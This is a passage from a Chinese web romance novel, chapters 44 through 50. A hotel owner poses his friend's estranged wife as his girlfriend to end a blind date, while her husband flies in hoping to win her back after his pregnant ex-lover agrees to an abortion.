宋凝掰着手指头给他算:“先是借着卫斯理酒店录用我,把我弄来S市,跟傅东擎有了物理距离;然后又是帮我查明雪球去世的真相,让我跟傅东擎之间的最后一丝牵绊也被斩断,再也无法弥合;现在又是让我给你的三个好大儿当保姆,伺候他们吃喝拉撒……” 她得出了一个结论:“你该不会还在担心我会临阵变卦,不想离婚了吧?” 她说:“你放一万个心,这婚我必须得离,你的好兄弟现在在我眼里就是一坨,我躲都来不及,不会在想着去沾上了。” 丁予期默默听着。 刚开始还是眉心紧蹙,但是听到后面,便也慢慢舒展开了。 虽然她猜的乱七八糟,但是结论倒是对的。 是他想要的答案。 殊途同归吧! 他噙着笑意,发动了车子。 不过却不是回酒店的方向。 宋凝看着路边的行道树,渐渐发现了不对劲:“我们不回酒店吗?” “还有件事要做。” “什么事?” 丁予期带她去了百货商场。 狗子就放在车里,留了一条缝透气,她被丁予期带去了商场的女装区。 “丁总,你这是干什么?” “给你换一身行头,晚上去帮我做件事。” 丁予期一眼就挑中了一件纯白色有向日葵图案的连衣裙,又挑了一双银色的碎钻高跟鞋:“带她去试试。” 工作人员引着宋凝去了试衣间,“小姐,您跟我来。” 宋凝问:“我的尺码还没告诉你呢……” “您男朋友是我们这里的常客,他经常来我们店里给您买衣服,您的尺码我们都很熟了。” 宋凝疑惑:“他知道我的尺码?” “对啊!” 不对啊! 丁予期的女朋友是黑皮辣 妹,黑皮辣 妹身高比她低几公分,因为经常运动的关系,肌肉也比她大一圈。 穿衣服的尺码肯定不一样! “你们拿的尺码应该不太对,我还是自己去条吧。” “肯定是对的!我们做服装行业的,一看就知道您的大概尺寸,您男朋友给您挑的尺码绝对准确,不信您看!” 宋凝看了一眼裙子和鞋子。 M码,36码半。 衣服的尺码倒是对的,但鞋子貌似大了半码。 “这是您男朋友还特地吩咐的,高跟鞋要买稍微大半码的,这样穿起来舒服一些。另外还让我们准备了半码垫,这样既不会挤脚,走路也更轻松一些哦。” 宋凝听完店员的话,之前被打断的那个想法又开始冒了出来。 丁予期好像对她的一切都知道的太过清楚了。 她的鞋码,连傅东擎也只知道买36码的。 不管是高跟鞋还是运动鞋还是单鞋,一律都是36码。 他从来不会去思考高跟鞋要不要大半码,半码垫更是听都没听过。 “我想问一下,他之前在你们这里买过很多次女装和女鞋是吗?” 店员笑吟吟地点了点头:“是啊,丁先生是我们店里的超级VIP呢,每年换季都会来添置几套。我们还一直很奇怪,怎么从来没见过他带女朋友一起过来,今天可算是见到了您本人了!” 﨔 第四十五章 小小丁总,拿捏 宋凝去更衣室里换上了新裙子。 不得不说,丁予期真的挺有眼光的,这条裙子单看并不是很出挑,但是却意外的跟她的气质很符合。 淡雅中带着一些向上的生命力,不会过分张扬,但绝对让人第一眼看到就难以移开目光。 高跟鞋也很合脚,而且这双高跟鞋只有八公分。 不像她自己在网上买的那双黑色的,十二公分的跟,她工作的时候走一天的路真的像是酷刑。 八公分刚刚好,走路也舒服。 几个女店员围在旁边,也是眼前一亮 “还是丁先生有眼光,这一身简直跟您太搭了。” 宋凝从更衣间缓缓走出来的时候,丁予期正在背对着她打电话。 听到脚步声,他才回过头来,然后就有些微微愣住了,目光凝在她身上,好半晌都没什么变化。 还是店员叫了一声:“丁先生,您看看——” 丁予期这才回过神来,草草跟电话里说了两句,挂断了走了过来。 宋凝:“怎么样?” 他轻咳了两声清了清嗓子,故意蹙眉:“还行吧。” 店员笑着说:“这怎么能是还行呢?多漂亮啊!” 丁予期哼了一声,别过脸去,“走吧,赶紧的。” 丁予期快步离开,宋凝不得不踩着高跟鞋跟上:“你是有什么急事吗?慢点,我追不上了!” 她以为,按照丁予期一贯的尿性,肯定会越走越快。 可是今天的丁予期却没有,而是原地停了下来等她。 看着她小跑着追上来,他才缓缓迈开脚步,但是比方才明显慢了很多,显然是在迁就她的速度。 宋凝说:“高跟鞋也不知道是谁发明的,太折磨人了。” 丁予期看了一眼她的脚,莹白细腻的小脚丫收在银色碎钻的高跟鞋里,显得格外秀气可爱。 他只看了一眼,就不敢再看,收回了目光:“不会穿高跟鞋以后就少穿。” “那怎么行?酒店里连女服务员都要穿高跟鞋的,我好歹也是个经理,总不能穿平底鞋。” “谁说不行?我说行就行。” 宋凝轻轻戳了戳他:“你到底要带我去干嘛呀?还给我买新衣服……对了,你还没付账呢,我们就这么走了?” 丁予期看了她一眼,“挂账的,每年结一次。” “所以你真的经常来这里买女装啊?” 丁予期皱眉:“问这么多干嘛?对我的私生活这么感兴趣啊?” “不感兴趣,一点都不感兴趣,您爱买多买,自己留着在房间里变装都行,当个寂寞的女装大佬。” 丁予期哑然失笑。 她还真是…… 奇货可居。 回到车里的时候,几只狗子嗷嗷叫唤。 丁予期挨个撸了一把狗头,却在狗子去蹭宋凝的时候,直接伸手把大狗头给推开了。 狗子委屈极了,呜呜叫。 宋凝也有点心疼:“你干嘛啊,它只是在欢迎我而已。” 丁予期:“你白裙子,被他舔一下还能看吗?” ……说的也是。 “我们到底还有什么事要去做啊?” 丁予期给她拉开车门:“上车,去了你就知道了。” 半个小时后,车子停在了一个私房菜馆门口。 这家私房菜馆允许带宠物,所以丁予期顺便就把三个大胖儿子也牵着了。 服务员引着他们进了一个包厢。 刚一推开门,宋凝就感觉自己的手被一个宽厚干燥的大手握住了。 他一手牵狗,一手牵她,十分自然地走了进去:“江伯伯,江伯母,不好意思,我女朋友换衣服时间长了点,来晚了。” 宋凝看了一下,包厢里坐着三个人。 一对中年夫妻,看起来穿着打扮也是非富即贵,气质很好。 还有一个年轻女孩,约莫二十岁出头的年纪,看起来是个乖乖女,文文静静的。 丁予期给宋凝拉开椅子,温柔说道:“坐吧。” 等宋凝坐好,他才在拉开了宋凝身旁的椅子,自己坐了下来。 三只狗子就坐在他们两个中间,看起来还真的很像他们两个的崽。 中年女人看了看宋凝,又看了看自家女儿,脸上的笑容已经有些勉强了:“予期,你什么时候有女朋友了?怎么没听你爸妈和哥哥提起过。” “喜欢了挺久,不过她可不好追,最近才答应在一起的。” 宋凝看了一眼丁予期,他只是含笑,还拉着她的手在掌心揉 捏着,亲昵又自然,仿佛真的是热恋中的模样,一点儿都不像是装的。 江伯母到底还是比较有风度地,笑着说:“你眼光不错,这位小姐真漂亮。” “是吧?我也觉得。”丁予期说:“江伯伯江伯母,你们先动筷吧。刚刚来的路上她就跟我抱怨说肚子饿了,但是长辈还没动筷,她不敢动呀!” 宋凝:……我哪里说肚子饿了?是你自己饿了吧! 江伯伯的表情有些惋惜,但明显已经坦然接受了现状,主动拿起筷子先夹了一片竹笋。 丁予期见状,拿起筷子给宋凝布菜。 “你吃点这个,这家私房菜的鱼做的特别好。” “还有这个芦笋也不错,你尝尝。” 宋凝干笑着点了点头。 这个时候,她要是再看不出来那她就是傻了。 今天明显就是个天衣无缝相亲局,江家夫妇看上了丁予期,想让他做女婿。 而且多半跟他父母哥哥都认识,所以推脱不得,只能来赴宴。 丁予期心里有人,肯定不想跟这位江小姐发展,所以就又祭出了自己这个大冤种当炮灰。 “快吃啊,刚不是还说饿了。” 丁予期催促她。 宋凝笑了笑,低头凑近他。 丁予期十分迁就她,也把耳朵凑了过去。 “丁总,今天这一趴……是不是得加钱?” 丁予期忍俊不禁:“都给你免费开房了,这还不够?” “那不是做狗饭的报酬吗?” “做那点狗饭值一个月几万块的房费吗?对了,今天这身衣服也送你,不便宜呢。” 宋凝忍下心中的无语,极限拉扯:“我欠你的衬衫钱不如就免了吧,我又是被你牵手又是被你搂腰的,牺牲很大啊。” 丁予期冲她挤挤眼:“那要不你也牵我的手搂我的腰?我不收你钱。” “……行,不免是吧?那这顿饭我不吃了,我现在就当着他们的面跟你分手,你刚好无缝衔接跟江小姐相亲吧。” 宋凝站起来就要走。 丁予期赶紧拉住她:“小姑奶奶,别走呀。” 宋凝被他拉着坐了回去,不过态度还是刚才那个态度:“我看江小姐也挺可爱的,要不你就勉为其难接受了吧?” 丁予期黑了脸:“我心里有谁你不知道吗?” 她当然知道。 黑皮辣 妹嘛。 确实跟江小姐不是一个style,可以说是南辕北辙。 “免不免?” “免免免……”丁予期讨好地笑:“都你说了算。” 末了,又给她夹了一筷子菜,当做表态。 这一切看在江家夫妇眼里,显然就成了另一种解读。 江夫人跟丈夫说:“这个女孩的确漂亮,气质也不错,怪不得予期会喜欢。” 江先生也点了点头:“而且你看他们两个这个样子,八成还是予期上赶着,这姑娘刚刚使小性子,予期只有哄的份儿。” “算了吧,既然人家都有女朋友了,感情看起来还挺好的,我们也不好拆散人家。” “嗯,另外再给雅雅物色其他人选吧。” 江夫人安慰女儿:“雅雅,你也别难过,妈再给你找更好的。” 江雅雅表面泫然欲泣的点了点头,但眼中精光一闪,跟丁予期对视了一眼。 她偷偷给丁予期比了个大拇指,丁予期轻轻点了点头,像是应允了什么。 﨔 第四十六章 我可以照顾她,但不是帮你 一场饭局,正事已经办不成了,很快就散了。 丁予期牵着她一起送江家人出了门,俨然真的有一种小辈夫妻送长辈离开的样子了。 等他们一走,宋凝立刻把手从他的掌心里抽了出来。 丁予期看着空空如也的手掌,有些怅然若失。 “阿凝——” 有人叫她的名字。 宋凝定睛一看,原来是祝如星。 她立马挥挥手回应。 丁予期问:“你朋友?” “嗯。” “看着有点眼熟啊,”丁予期眯起眼睛:“就是你找我谈离婚协议那天,躲在外面偷拍我们的摄影师吧?” 宋凝顿时有些心虚:“你怎么什么都知道?你在我身上装摄像头了?” 丁予期莞尔:“我可是个律师,侵犯个人隐私权的事情我可不做。去吧,跟你朋友聊一会儿,我去结账。” “行。” “等等,”丁予期说:“狗你牵着。” 宋凝无奈,只能牵着狗去了祝如星的车边。 祝如星早就看傻了,“阿凝,刚刚那个男的……是你男朋友?就是上次你让我偷拍的那个?” “不是不是,”宋凝说:“他现在是我老……” “老公?!哦天呐,你结婚了?不对啊,你跟傅东擎已经离婚了吗?这么快的吗?” 宋凝纠正她:“你听我把话说完呀,不是老公,是老板。我现在在他的酒店上班,做酒店经理。今天他带我出来,就是见一个……贵客。” 江先生和江夫人,也能算是贵客了吧? 祝如星这才微微点了点头:“原来是带你出来见客户啊。” “嗯,算是吧。对了,你怎么来S市了。” 祝如星一脸菜色:“别提了,我接了个单,一对新人来S市旅行结婚,我负责跟拍。” “这样啊,你闲了的话联系我,我们一起吃个饭,对了,唐婷也在S市,到时候可以一起聚聚。” …… 丁予期结了账,百无聊赖地往外走。 祝如星他当然认识,跟宋凝是初中到高中的同桌,也是最好的朋友之一,两个人课间上厕所都要一起去,也就是到了大学才分开。 家里父母开了个小店,男朋友在雨森科技上班,是个校领导。 她自己创业做婚纱摄影师,做的还不错,就是拍摄水平有待提高,不如他找的人专业。 不然,也不能把他们两个第一次近距离接触的照片拍成那个鬼样子。 他的半边脸都被绿植挡住了,虽然还是能看得出来是他,但总归差了点意思。 好在,她把宋凝拍的不错。 漂亮端庄,美丽可爱,尤其是倒在他怀里的时候,有一种我见犹怜的气质,看着让人心痒痒。 这些年,宋凝身边来来往往的人,他基本都了如指掌。 祝如星和唐婷算是她最亲近的朋友了,他怎么可能不知道。 手机响起,他看了一眼来电显示,笑着接了起来:“雅雅?” “予期哥,你女朋友真的好漂亮啊!” “没骗你吧?” “呜呜呜要不是她已经跟了你,我肯定大喊一声:姐姐给个姬会!” 丁予期听得心里舒服极了:“还没完全跟了我呢,还得继续努力啊。” “我这个助攻还不错吧?要不是我在我爸妈面前说喜欢你,他们才不会带着我出来跟你相亲呢,你也就不能牵姐姐小手了!” 丁予期格外好说话:“想要什么直接发我链接,给你清空购物车。” “欧耶!漂亮姐姐万岁!” 正说着,又有一通电话进来。 傅东擎的。 丁予期的好心情顿时没了,皱着眉挂断了。 可是傅东擎不依不饶,再次打了过来。 丁予期无奈,跟江雅雅草草说了两句挂断了,接起傅东擎的。 “予期,我来S市了!小何说你把阿凝带走了,你把她带哪儿去了?” 傅东擎的声音听起来有些责怪地意味。 丁予期顿时心情不爽了:“你来干什么?不是马上要跟林澜订婚了,你爸妈没盯着你?” 傅东擎苦笑着说:“跟林澜订婚只是权宜之计,安抚她的心情而已,不能真的看着她一尸两命啊。” “看来你还是挺心疼林澜的嘛,不是一点感情都没有。” 傅东擎低声说道:“你就别打趣我了,我心里只有阿凝,我们是最好的兄弟,你应该明白我的心。” “傅东擎,我觉得你要不放弃宋凝吧,林澜以后生了孩子,你跟她一家三口好好过日子算了。” “……你在开玩笑吗?我的老婆只可能是阿凝,跟林澜只是订婚,又不是结婚,缓兵之计而已。” 说完这句,傅东擎又补了一句:“予期,你能不能不要再对阿凝有这么大的敌意了,我爱她,我只会跟她结婚生孩子,她就是你板上钉钉的嫂子,你再喜欢林澜,我也不会娶她的!” 丁予期气笑了:“我才不喜欢林澜。” “你不喜欢她,你张口闭口叫大嫂?这么多年了都一直没这么叫过阿凝。” 丁予期嗤笑,单手拿着手机,另一只手打开烟盒,用牙咬出了一支烟含在唇齿间。 点燃,深吸一口,吐出白色的烟圈。 傅东擎叹息了一声:“算了,你跟阿凝这么多年都不对盘,也不是我一两句话能让你们缓和关系的。但是予期,这次就算我拜托你,看在我的面子上,这段时间好好照顾阿凝,行不行?” “看你面子?” “对,看在我们这么多年兄弟的份上,你再不喜欢她,也帮我照顾好了,行吗?” 私房菜馆的服务生来提醒他:“先生,我们店里是禁烟的,你如果想吸烟的,可以去店外面。” 丁予期点了点头,缓缓走到了私房菜馆的大门口。 不远处的停车场,宋凝就亭亭玉立地站在那里。 他眯起眼睛,打量着她浑身上下的每一寸。 她正低着头逗几只狗子玩,狗子在她的指令下,乖乖的握手,坐下,还会打滚。 祝如星在旁边看的啧啧称奇。 她得意地笑着,仿佛大学辩论比赛赢了的那一天。 她也是这样,昂着小下巴,张扬又耀眼,美得夺目,让人根本移不开眼。 “我可以照顾她。”他说。 但不是帮你。 傅东擎,我已经让了你一次,但你没有好好珍惜她。 所以这一次,我不会再让。 﨔 第四十七章 肖想了她十五年 傅东擎沉沉叹了口气:“多亏有你,兄弟,谢了。” 丁予期表情玩味又嘲讽:“谢字先别说这么早,说不定以后你会恨我。” “恨你?”傅东擎也笑:“你顶多就是跟阿凝拌拌嘴罢了,你的人品我还是清楚的,就算再怎么样,也不会对她做太过分的事。” 太过分的事? 什么算过分? 肖想了她十五年算吗? 还是说,要实质性的接触? “汪汪汪——” 不远处有了卖烤肠的小摊路过,几个大胖儿子抗拒不了肉肉的诱惑,拼了命的要去追。 宋凝死命的拉着绳子,已经快要支撑不住了:“丁、丁予期!你快来,你儿子疯了!” 不知道为什么,每次从她嘴里听到“儿子”这个称呼,他就觉得心尖上发痒。 丁予期直接挂断了电话,快步跑了过去:“来了。” …… 嘟嘟嘟—— 听着电话里传来的忙音,傅东擎微微粗了蹙眉:“怎么挂的这么快?” 不过毕竟是好兄弟,他也没在意。 而且…… 刚刚电话里他好像听到有个女人在喊丁予期的名字,估计是弟妹吧。 这阵子因为他的事情,的确是占据了丁予期太多的时间和精力了。 况且丁予期也是多年守候终于抱得美人归,正是蜜里调油的时候,傅东擎打心眼里对这个兄弟还是觉得有些亏欠地。 “东擎,你是不是又给那个宋凝打电话呢?” 蒋秀兰是在医院的楼梯间里发现了背着她偷偷出来打电话的儿子。 自从丈夫被拘留之后,蒋秀兰越发看宋凝不顺眼了。 她咬着牙吼道:“你要是再跟那个女人来往,就别认我跟你爸了!” 傅东擎最近也是心里冒火,平生最烦被威胁,立刻反口怼了回去:“妈,你这是威胁我?” 蒋秀兰说:“我只是想点醒你!醒醒吧儿子,眼前这么好的姑娘你不要,人家辛辛苦苦给你怀着孩子,你却躲在这里给其他女人打电话!你像话吗!” 一说起孩子,傅东擎就更烦躁了。 孩子,孩子,都是因为这个孩子! 如果没有这个孩子的话,他不信阿凝会这么决绝地要跟他离婚,还一个人跑到S市去躲着他! 就算她跑了,他也可以去把她抓回来,或者是他也常住在S市陪着她,直到她消气为止。 可是就是因为有这个孩子的存在,就像是一根拴着狗的链子,一根系着风筝的绳子,他想走走不了,想跑也跑不掉! “阿姨……”林澜叫了一声。 蒋秀兰立刻惊慌道:“你怎么下床了?医生说了,你有先兆流产的迹象,必须要静养。” 林澜眼睛红红的,委屈地像是一只小兔子:“东东,你能不能跟我过来一下,我有话跟你说。” 傅东擎眉心紧紧拧着:“我跟你已经没有什么话好说了。” 自从知道了前面几次对宋凝的伤害都是林澜在幕后唆使的,傅东擎最近对她十分冷淡。 甚至可以说是厌恶。 他人虽然被蒋秀兰强行拉来了医院,但也不愿意跟她待在同一个病房里,一直在外面徘徊。 林澜自嘲地说:“看来,你是真的对我失望了。” “林澜,原本我可以给你一个生活无忧的后半辈子,但是你敢对阿凝出手,这就踩到了我的红线!我没有动手报复回去,是看在你怀着孩子,不代表我不想。” 蒋秀兰厉声指责道:“你犯什么混?她胎像不稳你不知道吗?你还要为了那个不要脸的荡 妇欺负澜澜到什么时候?!” 林澜有些抱歉的看了一眼蒋秀兰,还是祈求地对傅东擎说道:“东东,就算是看在孩子的份上,你再给我最后一次机会,行吗?” 傅东擎沉默了一会儿,看着她依旧平坦的小腹。 林澜才怀孕一个月不到,表面上还看不出来,但是她的脸色苍白,嘴唇都没了血色,看起来分外憔悴。 他勉强压下心里的厌恶,点了点头:“我们回病房说。” 回到病房里,傅东擎走在前面,在窗户面前站定。 林澜跟在他身后,进来之后反手把病房门关上了。 傅东擎说:“现在只有我们两个人了,你到底想说什么?” 林澜咬了咬牙,把手里的东西摊开给他看。 傅东擎看着她掌心的一小片白色小片,皱眉:“这是什么?” 林澜说:“我上网查过了,我的月份小,可以直接吃打胎药,不用做手术的。” 傅东擎微微有些震惊:“哪儿来的?” “我从网上偷偷买的,蒋阿姨不知道。” 傅东擎不由得站直了身体,神色复杂:“这次你又想耍什么花招?” “我在你心里,已经是这么坏的人了吗?”林澜苦笑着说:“我想过了,我努力过,也做过错事,但依然没有办法挽回你,我也认命了。你那么爱宋小姐,我都看在眼里,我也不想让孩子成为你们中间的阻碍。所以……我愿意打掉他,成全你们。” 傅东擎听完,表情有些微微松动:“林澜,我真的不能没有阿凝。” “我知道,”林澜苦笑:“这几天你虽然守在我身边,但我知道,你心里眼里就只有宋小姐一个人。我看清楚,也想明白了,与其三个人都痛苦,不如只痛苦我一个,至少你们两个是快乐的。” 傅东擎走了过来,扶着她在床边坐下:“你坐下说吧。” 林澜继续说道:“东东……不对,以后不能这么叫你了,应该叫傅总。今天下午,你想办法把蒋阿姨支走,我会吃下这粒药,把这件事彻底了结。” 傅东擎点了点头:“那就这么办吧。” 走出病房的时候,傅东擎的心仿佛飞到了天上去。 轻快,雀跃。 这件事终于要结束了。 他掏出手机定了一张今天晚上飞往S市的机票。 但还是有些按捺不住心里的喜悦,想找个人分享。 而现在,最好的人选就是丁予期。 刚刚通过电话,再打电话就不合适了,耽误好兄弟谈恋爱。 所以傅东擎发了个微信语音过去。 【予期,林澜今天下午就会把孩子打了,我晚上的飞机过去找阿凝。你帮我跟阿凝说一声,今晚她想怎么惩罚我都行,我都受着。】 发完,觉得还不过瘾,于是给小何又发了一条。 【今晚给我在卫斯理酒店开个房间,另外,再帮我去买几盒套。】 说到后面的时候,饶是他一个大男人都有些脸热。 他实在太想念宋凝了。 今晚就算是下跪,他也一定会求得她的原谅。 实在不行就把人扔床上做到她求饶为止。 小别胜新婚,一想到晚上那些有可能发生的缱绻情事,他就觉得浑身的血液都沸腾起来。 小何回复的很快:【好的傅总,我这就去安排。】 傅东擎想了想,胆子越发膨胀起来:【套子不用买了,帮我买点助兴的衣服和工具。】 如果今晚能让阿凝怀上孩子,那父母那边也有交代了。 一想到这里,他的心都迫不及待飞去机场。 﨔 第四十八章 儿子粘妈妈 S市。 宋凝手里拿着一塑料袋的烤肠。 三只大狗乖得不行,排排坐蹲在她面前,等着她给喂。 宋凝一碗水端平,三只狗子一人一口,按顺序来,谁也不多谁也不少。 丁予期抱着手臂站在旁边看着,唇边的笑意越来越大:“我这几个大胖儿子算是彻底叛变了,我喂它们的时候,一个一个如狼似虎的,差点把我的手都咬个洞。轮到你的时候,他们居然这么斯文。” 宋凝一边把烤肠掰成小块,一边笑着说道:“可能它们更满意我当它们的主人?” 丁予期嗤笑:“这几只没良心的,这才被你照顾了几天,全都叛变了。” 被狗狗爱着总是让人觉得很幸福。 宋凝也挺开心:“那肯定了,狗狗肯定会喜欢陪伴它们多一些的主人。你这狗从带来酒店开始就一直是我溜是我喂,他们更亲我也不奇怪啊。” 旁边的人行道上,刚好有一家三口过马路。 小宝宝估计只有几个月大,在爸爸怀里就嗷嗷哭闹,妈妈一接过来哄,立马就不哭了,还眉开眼笑的。 爸爸顿时就感觉失宠了:“怎么,只爱妈妈不爱爸爸啊?” 旁边有个老人笑着说:“是儿子吧?儿子就是比较粘妈妈的。” 丁予期在口中无意识地跟着念了一句:“儿子粘妈妈……” 宋凝回头问他:“你说什么?” “没什么。”丁予期说:“你也别太溺爱他们了,烤肠都吃了多少了。” 宋凝冲他做了个鬼脸:“我再溺爱也没有你溺爱吧?你可是把人家摊子上的烤肠全都买来了。” 丁予期耸了耸肩。 宋凝喂完最后一根烤肠,给狗子们做了一个“停止”的手势,“医生说了,你们几个得减肥,今天只能吃这么多,剩下的明天再吃。” 狗子们还在呜呜呜的撒娇,企图唤醒她的母爱。 但丁予期厉声呵斥了一声:“呜什么呜,听你妈的话!” 狗子们缩着脑袋,耷拉着耳朵,不敢吭声了。 宋凝走了过来,问他:“现在我们回酒店吗?” “你想去哪里?” “我没有想去哪里,就是单纯问一下。” 嗡—— 有微信消息。 头像一看就是傅东擎。 宋凝也看到了,直接背过身去,表明了不愿意看他的任何消息。 丁予期对她的表现满意地挑了挑眉,然后点开了消息看了一眼,然后,脸色就越来越难看。 林澜怎么突然就同意打胎了? 傅东擎今晚就要来? 与此同时,瑞贝卡的电话也打过来了。 他立刻接起。 “丁总,我刚刚收到客房部的消息,傅总的助理小何刚刚去前台,说要再开一间总统套房,还点名说要我们布置的浪漫一点,床上洒满玫瑰花瓣。我猜……可能是帮傅总定的。” 丁予期冷笑:“告诉小何,没空房了。” “……我知道这个消息的时候已经迟了,前台已经帮忙订好了房间,服务员已经去房间里帮忙布置去了。” “那就让她们布置吧,喜欢花钱就让他花。” “可是宋小姐怎么办?小何这几天都在订玫瑰花,我已经让人趁着宋小姐不在房间里全都扔掉了。今天傅总这一出……怕是今晚想跟宋小姐发生点什么。” 丁予期眼珠子一转,表情从凝重又变成了轻松自如:“放心吧,他办不成。” 他对林澜还是了解的太少了。 她怎么可能是那种愿意中途放弃的人? 当初他看中林澜,也是因为她这个女人足够有野心,有不达目的不罢休的手段。 不然,他也不可能送一个姿色这么平庸的女人去到傅东擎身边。 林澜既然有本事怀上孕,就绝不可能这么打掉的。 傅东擎的好日子还在后头。 瑞贝卡轻声问了一句:“丁总,要不要我去联系一下林澜,提点她一下?” “不用,”丁予期说:“我跟宋凝确定关系之前,不要跟林澜有任何联系。那个女人不是个省油的灯,万一被她反抓住我的把柄就不好了。” “好的,我明白了。” 丁予期哼笑了一声,说:“今晚我跟宋凝不回去了,如果傅东擎问起,就说……” 他顿了顿:“就实话实说。” 宋凝不想在听到跟傅东擎有关的一个字,她牵着狗子去旁边看花去了。 路边的花坛里种了不少月季花,开的很旺。 狗子好奇的去闻,却被花刺扎了鼻子。 委屈巴巴地跑来蹭宋凝的小腿,求摸摸求安慰。 宋凝帮他呼了呼被刺痛的地方,狗子就又活蹦乱跳的撒欢了。 雪球去世之后,宋凝其实某种程度上挺感谢丁予期的这三个大胖儿子的。 她永远也不会忘记雪球,但这几只狗子确实一定程度上缓解了她失去雪球的痛苦。 这可能就是缘分吧。 本来只是丁予期用来折磨她的苦差事,阴差阳错治愈了她。 “多大的狗了,怎么还撒娇?” 丁予期一脸嫌弃地呼噜了一下狗头。 宋凝神色尴尬:“跟你的好兄弟打完电话了?” 丁予期:“怎么,想知道我们都说了什么?” 宋凝立马摇头:“不了,你们大人说话我们小孩不想听。” 一听就是秋后算账,反怼他原来说过的话。 丁予期深吸了一口气,啧啧说道:“今晚江边正好放烟花,想去看看不?” “烟花?今天是什么特别的日子吗?” 宋凝回忆了一下,不是跨年,也不是圣诞节,好端端的放什么烟花? 她皱眉:“你别是看错日期了吧?” 丁予期只是神秘兮兮地说:“我说有烟花,就一定有。” 开车去江边的路上,丁予期给瑞贝卡发了个消息。 瑞贝卡回复的很快:【放心丁总,安排!】 丁予期按灭了手机,扔到一边,专心开车。 傅东擎有玫瑰花,他也有烟花。 但是今晚,玫瑰花注定要无人欣赏了。 宋凝一脸探究:“丁总,傅东擎究竟给你发了什么消息啊?我怎么觉得你笑得一脸猥琐呢。” 丁予期摸了摸脸:“有吗?” “有,感觉你脑子里在想少儿 不宜的内容……不会是还是男男版的吧?!” 丁予期心情好,也无所谓她开玩笑:“别看我,看风景。” 﨔 第四十九章 谁是谁的电灯泡? 傅东擎看着林澜吃下了药片,就立刻出发去了机场。 本来他应该亲眼看着林澜流产成功再走的,但是他问过医生,药流的时间因人而异。 有的人一个小时就有动静了,有人四五个小时都打不下来。 他算了算时间,四五个小时肯定是来不及赶飞机。 所以他找了几个护工陪着林澜,自己直接出发去S市了。 到达S市的时候,天色已经完全黑了下来。 车子沿着滨江路飞速行驶着。 江面上今天人头攒动,热闹非凡,一朵朵璀璨的烟花在江面上炸开,炫目到让人移不开眼。 傅东擎揉了揉眉心,问道:“今天是什么日子么?” 司机也有些莫名:“应该不是什么节日吧,估计可能是哪家的富二代豪掷千金博美人一笑呢吧。” 傅东擎哼笑了一声,真俗。 这些富二代们真是一代不如一代了,几朵烟花就想俘获美人芳心? “只能说明那个女人也是够肤浅的,烟花能值几个钱?就这么痛哭流涕感动不已?” 司机说:“傅总,哪个女人不喜欢烟花啊?” “我们家阿凝就不喜欢这种虚头巴脑的东西,她有思想有涵养,才不会因为这种花里胡哨的东西就动心。” 司机呵呵笑:“毕竟是您的太太,肯定是看不上这种小手段的。听说夫人怀孕了,恭喜啊傅总。” 这边的司机是傅氏集团在S市子公司派过来的。 对本部的事情不清楚,自然也对傅东擎的私事并不了解。 傅东擎却微微狐疑:“谁跟你说我太太怀孕了?” 司机兴奋地说:“全公司上上下下都知道了呀!董事长还给我们员工都发了红包呢,说是要为太太和小少爷积福!” 傅东擎听完就闭上了眼。 父亲这是怕他放不下宋凝,存心要把林澜的身份给坐实了。 傅东擎冷声说:“怀孕的那个不是我太太,我太太现在就在S市,我这次来就是来接她回去的。” 司机一愣:“怀孕的不是太太?那是……您的情人?” “情人”这两个字,让傅东擎顿时怒从心起。 他厉声否认道:“不是!” 司机吓了一大跳,缩了缩脖子,再也不敢说话了。 傅东擎突然有些庆幸,林澜能自己想通,把孩子打了。 这件事就还不至于到不可挽回的地步。 他掏出手机给小何打了个电话。 小何说:“傅总您放心,房间我已经都安排好了,太太一定会喜欢的。” 听了这话,傅东擎愤怒的心才算微微安定了一些。 “你再去准备一点红酒,送到房间里去。” “好的,我这就去办。” 小何只当时傅总要跟太太喝点酒助助兴。 但傅东擎心里却有个planB。 宋凝的脾气他最清楚,看起来温柔和善,但骨子里倔的不行。 普通的道歉和求和估计起不到什么作用。 那瓶红酒,如果她愿意喝,那是最好。 如果她还是不愿意原谅他,那他就把酒瓶子一摔,然后直接跪在碎玻璃上。 十五年的感情,他就不信宋凝能看着他这么糟践自己。 就算当时当刻还不愿意原谅,总是会先把自己扶起来的。 到时候,春宵苦短,夜色正浓。 一夜过去,再多的误会和生气都会化在浓浓的柔情中。 一想到这里,傅东擎就觉得身体某个部位有了变化。 他燥热不已,按下了车窗,吹着夜晚的河风散散火气。 偏偏司机还问了一句:“傅总,您要是觉得热,要不我把空调打开?” 傅东擎脑内的旖 旎小剧场被打断,气不打一处来:“你闭嘴,开你的车。” 车窗外的江面上,烟花越来越多,越来越漂亮。 无数女孩子惊叹不已。 还有个女孩子羡慕地说:“如果有男人愿意为了我在浦江边放一晚上的烟花,我立刻就嫁给他!” 傅东擎不在意地嗤笑。 真是没见过世面。 他送给阿凝的,可是一个小行星。 只要宇宙不爆炸,小行星就一直存在。 不像这些短命的烟花,就几秒钟的时间,顷刻间便化为乌有,一点意义都没有。 叮铃铃—— 手机又响起。 是小何打来的。 “傅总,太太现在好像不在酒店里!” 傅东擎顿时神色一凛:“不在酒店?那她现在哪?” 小何也有些慌张了:“我也不太清楚……听前台的人说,中午那会儿太太就跟小丁总一起出去了,到现在都没回来。” 傅东擎想起来了。 中午那会打电话的时候,他就听说宋凝被丁予期带出去。 但是当时他也没多问,林澜那边一直缠着,丁予期又是他信任的人。 可是白天带出去是一回事,晚上夜不归宿是另一回事! 傅东擎立马挂断了电话,给丁予期打了一个过去。 电话倒是很很快接通了—— “喂?” “予期,你现在在哪里?” 丁予期的声音懒洋洋的,还带着慵懒的满足感:“浦江边,看烟花。” “跟谁?” “跟我女人。” 傅东擎微微吐出一口气:“不好意思,我好像又打扰你跟弟妹约会了。” 丁予期哼笑:“没关系,以后别打扰就行。” “好,以后我尽量少联系你……我已经到S市了,但是小何说你中午把阿凝带出去了,现在都没回来。她现在在哪里你知道吗?” 丁予期“唔”了一声:“烟花这么美,估计也在看烟花吧。” 傅东擎急了:“我真的很担心阿凝,你就别开玩笑了。你真的不知道阿凝在哪里吗?” 电话那头,有个女声模模糊糊:“谁呀?” 丁予期说:“傅东擎。” 女声明显有些嫌弃:“怎么又是他?” 丁予期无奈地说:“挂了电话我就把他拉黑。” 傅东擎叹了口气,“对不起予期,你陪弟妹吧,阿凝我自己找。” “嗯,挂了。” 丁予期电话挂的飞快。 傅东擎的手指还悬在挂机键上面没按下去,听筒里面就传来了忙音。 他摇头失笑。 看来,他是真的打扰到小情侣约会了啊。 一会儿等他找到了阿凝,求得她的原谅,就立刻带她回H市。 免得在这里给好兄弟当了电灯泡。 﨔 第五十章 